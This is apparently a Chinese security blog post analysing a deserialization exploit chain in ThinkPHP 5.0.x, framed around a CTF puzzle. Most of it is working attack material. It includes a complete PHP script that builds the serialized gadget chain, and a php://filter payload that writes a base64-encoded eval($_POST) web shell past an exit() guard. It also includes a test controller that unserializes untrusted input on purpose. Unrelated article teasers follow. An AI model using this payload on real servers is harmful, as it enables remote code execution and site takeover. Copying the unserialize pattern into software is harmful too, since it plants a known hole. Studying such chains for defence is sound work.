ThinkPHP5.0.0~5.0.23反序列化利用链分析

本次测试环境仍然是ThinkPHP v5.0.22版本,我们将分析其中存在的一条序列化链。

一道CTF题

这次以一道CTF题作为此次漏洞研究的开头。题中涉及PHP的死亡绕过技巧,是真实环境中存在的情况。


$payload='';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda9.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data);

如上,payload怎么写可以可入木马文件?
 注意:要windows系统与liunxc上都可写入才行哟。

答案将在文章中解密

漏洞触发点

位于thinkphp框架下的File类中有set方法 写入缓存

假如 $name 与 $value是可控的变量,加之死亡绕过的加持。是不是就可以向系统写入木马文件了。

那么如何调用呢,除了接口调用,还有一种调用方式,那就是反序列化......

接下来我将分析在thinkphp5.x版本中存在的一条反序列化链,它会通过函数的层层调用,最终调用倒file类的set方法 file_put_contents向系统写入一句话木马文件。

反序列化调用链分析 

本次反序列化以window类为入口点,准备传递如下的对象

 首先来到windows类

class Windows extends Pipes
{
...public function __destruct(){$this->close();$this->removeFiles();}
...
}

当对象被创建时调用__destruct魔术方法,跟过去removeFiles方法

class Windows extends Pipes
{
...private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}
...
}

基于php的特性,使用file_exists方法时如果参数是一个对象,则调用相应的tostring方法。我们给windows类的成员file传递的是一个数组且第一个是Pivot对象,且Pivot的父类Model才有tostring,因此会跳到model类去执行tostring 方法。

class Pivot extends Model
{//无tostring//无tojson
}
abstract class Model implements \JsonSerializable, \ArrayAccess
{public function __toString(){return $this->toJson();}/*** 转换当前模型对象为JSON字符串* @access public* @param integer $options json参数* @return string*/public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}}

跟进toJson方法中在跳入到toArray方法(model类)

public function toArray(){$item    = [];$visible = [];$hidden  = [];$data = array_merge($this->data, $this->relation);// 过滤属性if (!empty($this->visible)) {$array = $this->parseAttr($this->visible, $visible);$data  = array_intersect_key($data, array_flip($array));} elseif (!empty($this->hidden)) {$array = $this->parseAttr($this->hidden, $hidden, false);$data  = array_diff_key($data, array_flip($array));}foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象$item[$key] = $this->subToArray($val, $visible, $hidden, $key);} elseif (is_array($val) && reset($val) instanceof Model) {// 关联模型数据集$arr = [];foreach ($val as $k => $value) {$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);}$item[$key] = $arr;} else {// 模型属性$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation   = $this->getAttr($key);$item[$key] = $relation->append($name)->toArray();} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation   = $this->getAttr($key);$item[$key] = $relation->append([$attr])->toArray();} else {$relation = Loader::parseName($name, 1, false);if (method_exists($this, $relation)) {$modelRelation = $this->$relation();$value         = $this->getRelationData($modelRelation);if (method_exists($modelRelation, 'getBindAttr')) {$bindAttr = $modelRelation->getBindAttr();if ($bindAttr) {foreach ($bindAttr as $key => $attr) {$key = is_numeric($key) ? $attr : $key;if (isset($this->data[$key])) {throw new Exception('bind attr has exists:' . $key);} else {$item[$key] = $value ? $value->getAttr($attr) : null;}}continue;}}$item[$name] = $value;} else {$item[$name] = $this->getAttr($name);}}}}return !empty($item) ? $item : [];}

我们给Pivot对象的成员$append传递的是xxx=getError(函数),因此if (!empty($this->append))成立,进入。又因为name(getError)既不是数组也没有“.”号所以会进入else语句块。

重点关注下这段函数调用

调用了函数$name就是getError方法,而我们给Pivot对象的成员error传递的是HasOne对象,因此modelRelation将被赋值为HasOne对象,

class HasOne extends OneToOne abstract class OneToOne extends Relation

紧接着参数传递调用getRelationData方法

 this->parent有值的 可为真,modelRelation是HasOne对象 调用相关方法isSelfRelation getModel。

成员selfRelation为0 , 返回后取反 可为真

 HasOne对象成员query传递的是think\db\Query对象,向它传递的model成员是new think\console\Output对象,因此最终返回Output对象,而在之后的判断中由于parent传递也是Output对象,==成立。

至此这个if语句成立value将被赋值为Output对象,随后返回赋值给model类的value属性

继续向下分析,modelRelation是HasOne对象,已经给BindAttr传递数组 0->"xxx" 了,故$bindAttr会被赋这个数组值,if条件成立

之后进入else语句块试图调用value(Output对象)的getAttr方法。

Output对象中是没有getAttr方法的,此外它还重写了__call方法,由于PHP特性程序会跳到Output对象的__call方法,且参数$method为getAttr  $args为"xxx"

Output对象成员styles已被赋值数组0->getAttr,因此if条件中的in_array成立,将调用call_user_func_array,调用类(Output对象)中的block方法

跟进writeln方法

跟入write方法

调用了handle也就是Memcached对象(已被传递赋值)的write方法 跟入

Memcached对象的handler成员属性以被赋值file对象,调用其set方法,这样就来到了漏洞触发点了

重点分析下,filename的赋值,跟入getCachekey方法

file对象成员属性options被我们赋值如下

所以它最后得到的$filename是[可控值]+[某md5值不可控].php

目前来看data还不可控,但是由于后面有setTagItem方法,将name赋予data,再次调用set方法

现在data与filename就是可控的了,

这就变成了最开始CTF题的形式

题解

现在公布题解如下,如下代码就可以绕过exit,且兼容windows文件名限制。

<?php$payload='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda9.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
// echo $filename."\n\n";
// echo $data."\n";
file_put_contents($filename, $data);

 将生成文件木马

漏洞完整测试

首先再namespace app\index\controller index类中编写一个可接受参数序列化的方法

    function test($a=''){echo $a."<br>"."开始序列化....";echo unserialize(base64_decode($a));}

随后浏览器访问

127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?s=index/index/test&a=[序列化值]

 payload序列化数据生成

<?php
namespace think\process\pipes {class Windows {private $files = [];//创建windows对象 让属性files存储Pivot对象($Output,$HasOne)public function __construct($files){$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类}}
}namespace think {abstract class Model{protected $append = [];protected $error = null;public $parent;function __construct($output, $modelRelation){$this->parent = $output;  //$this->parent=> think\console\Output;$this->append = array("xxx"=>"getError");     //调用getError 返回this->error$this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne}}
}namespace think\model{use think\Model;class Pivot extends Model{function __construct($output, $modelRelation){parent::__construct($output, $modelRelation);}}
}namespace think\model\relation{class HasOne extends OneToOne {}
}
namespace think\model\relation {abstract class OneToOne{protected $selfRelation;protected $bindAttr = [];protected $query;function __construct($query){$this->selfRelation = 0;$this->query = $query;    //$query指向Query$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量}}
}namespace think\db {class Query {protected $model;function __construct($model){$this->model = $model; //$this->model=> think\console\Output;}}
}
namespace think\console{class Output{private $handle;protected $styles;function __construct($handle){$this->styles = ['getAttr'];$this->handle =$handle; //$handle->think\session\driver\Memcached}}
}
namespace think\session\driver {class Memcached{protected $handler;function __construct($handle){$this->handler = $handle; //$handle->think\cache\driver\File}}
}namespace think\cache\driver {class File{protected $options=null;protected $tag;function __construct(){$this->options=['expire' => 3600,'cache_subdir' => false,'prefix' => '','path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php','data_compress' => false,];$this->tag = 'xxx';}}
}namespace {$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());$Output = new think\console\Output($Memcached);$model = new think\db\Query($Output);$HasOne = new think\model\relation\HasOne($model);$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));echo serialize($window);echo "<br>";echo base64_encode(serialize($window));
}

 将生成的值赋值a get传参

此刻后端生成两文件

其中998后缀的木马文件

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/657034.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

春季选品策略:如何在Shopee平台上脱颖而出

在Shopee平台上进行春季选品时&#xff0c;卖家需要制定有效的策略来吸引消费者的注意并提高销售业绩。本文将介绍一些关键的选品策略&#xff0c;帮助卖家在春季市场中脱颖而出。 先给大家推荐一款shopee知虾数据运营工具知虾免费体验地址&#xff08;复制浏览器打开&#xf…

MyBatis 源码系列:MyBatis 解析配置文件、二级缓存、SQL

文章目录 解析全局配置文件二级缓存解析解析二级缓存缓存中的调用过程缓存中使用的设计模式 解析SQL 解析全局配置文件 启动流程分析 String resource "mybatis-config.xml"; //将XML配置文件构建为Configuration配置类 reader Resources.getResourceAsReader(re…

探索ESP32 C++ OOP开发:与传统面向过程编程的比较

探索ESP32 OOP开发&#xff1a;与传统面向过程编程的比较 在嵌入式系统开发中&#xff0c;ESP32是一个强大的平台&#xff0c;可以应用于各种项目和应用场景。在编写ESP32代码时&#xff0c;我们可以选择使用面向对象编程&#xff08;OOP&#xff09;的方法&#xff0c;将代码…

数据结构—栈实现前缀表达式的计算

前缀表达式计算 过程分析 中缀表达式&#xff1a;&#xff08;1 5&#xff09;*3 > 前缀表达式&#xff1a;*153 &#xff08;可参考这篇文章&#xff1a;中缀转前缀&#xff09; 第一步&#xff1a;从右至左扫描前缀表达式&#xff08;已存放在字符数组中&#xff09;&a…

termux 玩法(一)

termux基础 termux基础玩法推荐国光写的手册&#xff1a;Termux 高级终端安装使用配置教程 | 国光 (sqlsec.com) termux安装 个人使用F-Droid安装的termux&#xff1a;Termux | F-Droid - Free and Open Source Android App Repository 基础知识 这些基础知识简单了解一下…

自定义模块加载(Python)

加载自定义模块&#xff0c;系统抛出“找不到文件”异常提示信息。 (笔记模板由python脚本于2024年01月28日 12:50:00创建&#xff0c;本篇笔记适合初通Python的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.org/ Free&#xff1a;大咖免…

链表——超详细

一、无头单向非循环链表 1.结构&#xff08;两个部分&#xff09;&#xff1a; typedef int SLTDataType; typedef struct SListNode {SLTDataType data;//数据域struct SListNode* next;//指针域 }SLNode; 它只有一个数字域和一个指针域&#xff0c;里面数据域就是所存放的…

万户 ezOFFICE wf_accessory_delete.jsp SQL注入漏洞复现

0x01 产品简介 万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日…

继电器模块详解

继电器&#xff0c;一种常见的电控制装置&#xff0c;其应用几乎无处不在。在家庭生活&#xff0c;继电器被广泛应用于照明系统、电视机、空调等电器设备的控制&#xff1b;在工业领域&#xff0c;它们用于控制电机、泵站、生产线等高功率设备的运行&#xff1b;继电器还在通信…

【论文收集】

Collaborative Diffusion for Multi-Modal Face Generation and Editing https://arxiv.org/abs/2304.10530 code&#xff1a;https://github.com/ziqihuangg/collaborative-diffusion 现有的扩散模型主要集中在单模态控制上&#xff0c;即扩散过程仅由一种状态模态驱动。为…

Docker的使用方式

一、Docker概念 Docker类似于一个轻量的虚拟机。 容器和镜像是Docker中最重要的两个概念&#xff0c;镜像可以保存为tar文件&#xff0c;Dockerfile是配置文件&#xff0c;仓库保存了很多第三方已经做好的镜像。 基本指令 查找镜像 docker search nginx 拉取nginx镜像 do…

搭建Jmeter分布式压测与监控,轻松实践

对于运维工程师来说&#xff0c;需要对自己维护的服务器性能瓶颈了如指掌&#xff0c;比如我当前的架构每秒并发是多少&#xff0c;我服务器最大能接受的并发是多少&#xff0c;是什么导致我的性能有问题&#xff1b;如果当前架构快达到性能瓶颈了&#xff0c;是横向扩容性能提…

香港服务器IP段4c和8c的区别及SEO选择建议

随着互联网的快速发展&#xff0c;服务器IP段的选择对于网站SEO优化至关重要。香港服务器IP段4C和8C是两种常见的IP段&#xff0c;它们在SEO优化中具有不同的特点和优势。本文将详细介绍这两种IP段的区别&#xff0c;并给出相应的SEO选择建议。 一、香港服务器IP段4C和8C的区别…

论文阅读,Domain Specific ML Prefetcher for Accelerating Graph Analytics(一)

目录 一、Article:文献出处&#xff08;方便再次搜索&#xff09; &#xff08;1&#xff09;作者 &#xff08;2&#xff09;文献题目 &#xff08;3&#xff09;文献时间 &#xff08;4&#xff09;引用 二、Data:文献数据&#xff08;总结归纳&#xff0c;方便理解&am…

Pyecharts炫酷热力图:参数详解与实战大揭秘

Pyecharts绘制多种炫酷热力图参数说明代码实战 引言 热力图在数据可视化中是一种强大的工具&#xff0c;可以直观地展示数据的分布情况和变化趋势。Pyecharts是一个基于Echarts的Python可视化库&#xff0c;提供了丰富的图表类型&#xff0c;包括热力图。在本文中&#xff0c…

【JavaSe篇】——封装,static成员,代码块

目录 &#x1f469;&#x1f3fb;‍&#x1f4bb;封装 &#x1f6a9;访问限定符 &#x1f6a9;封装扩展之包 &#x1f449;导入包中的类 &#x1f449;自定义包 &#x1f576;️操作步骤 &#x1f449;包的访问权限控制举例 &#x1f576;️常见的包 &#x1f469;&am…

10V单通道负载开关

概述 EM5220是一款单通道负载开关&#xff0c;具有可编程上升时间和集成输出放电控制。该设备包含一个P沟道NOSFET&#xff0c;可以通过输入进行操作电压范围为4.5V至10V。开关由接通和断开低电平逻辑输入控制&#xff0c;其能够与GPIO信号接口。设备的可编程上升时间可以减少…

Ruff应用:打破传统,IoT技术赋能工业制造数字化转型之路

近年来&#xff0c;随着物联网、大数据、云计算、5G等数字技术的快速应用&#xff0c;工业制造领域正在经历着前所未有的变革。工业4.0时代&#xff0c;各种数字技术与工业制造的结合&#xff0c;不仅提高了工业生产效率、降低运营成本&#xff0c;更是极大地推动了传统工业数字…

ssm跨域方案?

1、过滤器 2、xml配置 <mvc:cors><mvc:mapping path"/**" /> </mvc:cors>3、注解 CrossOrigin(origins “*”) 说明&#xff1a;三种方案&#xff0c;本质都是一样的、只是方式不一样罢了。

Vite+Vue3使用Vue-i18n笔记

一、下载依赖 vue-i18n yarn add vue-i18n创建存放语言文件的目录 以及配置文件的配置 我是在src/lang 新建index.ts、cn.ts、en.ts以及test文件夹其中再分别新建cn.ts以及en.ts /lang/index.ts 用于导出vue-i18n需要的配置对象 import en from "./en.ts"; import…